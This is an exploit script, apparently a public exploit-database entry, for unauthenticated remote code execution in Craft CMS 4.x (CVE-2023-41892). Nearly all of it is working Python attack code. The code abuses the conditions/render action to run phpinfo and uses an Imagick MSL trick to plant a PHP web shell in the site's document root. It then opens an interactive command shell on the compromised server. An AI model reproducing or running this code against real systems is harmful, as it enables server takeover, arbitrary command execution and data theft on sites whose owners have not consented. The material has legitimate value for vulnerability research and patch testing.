Craft CMS 4.4.14 Remote Code Execution

`#!/usr/bin/env python3  
#coding: utf-8  
  
# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)  
# Date: 2023-12-26  
# Version: 4.0.0-RC1 - 4.4.14  
# Vendor Homepage: https://craftcms.com/  
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14  
# Tested on: Ubuntu 22.04.3 LTS  
# Tested on: Craft CMS 4.4.14  
# Exploit Author: Olivier Lasne  
# CVE : CVE-2023-41892  
# References :  
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g  
# https://blog.calif.io/p/craftcms-rce  
  
import requests  
import sys, re  
  
if(len(sys.argv) < 2):  
print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")  
exit()  
  
HOST = sys.argv[1]  
  
if not re.match('^https?://.*', HOST):  
print("\033[1;31m[-]\033[0m URL should start with http or https")  
exit()  
  
print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")  
  
## Execute phpinfo() and extract config info from the website  
url = HOST + '/index.php'  
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}  
  
data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'  
  
try:  
r = requests.post(url, headers=content_type, data=data)  
except:  
print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")  
exit()  
  
# If we succeed, we should have default phpinfo credits   
if not 'PHP Group' in r.text:  
print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')  
exit()  
  
  
# Extract config value for tmp_dir and document_root  
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'  
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'  
  
tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)  
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)  
  
  
if 'no value' in tmp_dir:  
tmp_dir = '/tmp'  
  
print(f'temporary directory: {tmp_dir}')  
print(f'web server root: {document_root}')  
  
## Create shell.php in tmp_dir  
  
data = {  
"action": "conditions/render",  
"configObject[class]": "craft\elements\conditions\ElementCondition",  
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'  
}  
  
files = {  
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>  
<image>  
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>  
<write filename="info:DOCUMENTROOT/shell.php"/>  
</image>""".replace("DOCUMENTROOT", document_root), "text/plain")  
}  
  
print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')  
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #   
  
  
# Use the Imagick trick to move the webshell in DOCUMENT_ROOT  
  
data = {  
"action": "conditions/render",  
"configObject[class]": r"craft\elements\conditions\ElementCondition",  
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'  
}  
  
print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')  
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})  
  
if r.status_code != 502:  
print("\033[1;31m[-]\033[0m Exploit failed")  
exit()  
  
print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")  
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")  
print("\033[1;92m[!]\033[0m Enjoy your shell\n")  
  
url = HOST + '/shell.php'  
  
## Pseudo Shell  
while True:  
command = input('\033[1;96m>\033[0m ')  
if command == 'exit':  
exit()  
  
if command == 'clear' or command == 'cls':  
print('\n' * 100)  
print('\033[H\033[3J', end='')  
continue  
  
data = {'cmd' : command}  
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})  
  
# exit if we have an error  
if r.status_code != 200:  
print(f"Error: status code {r.status_code} for {url}")  
exit()  
  
res_command = r.text  
res_command = re.sub('^caption:', '', res_command)  
res_command = re.sub(' CAPTION.*$', '', res_command)  
  
print(res_command, end='')  
  
  
`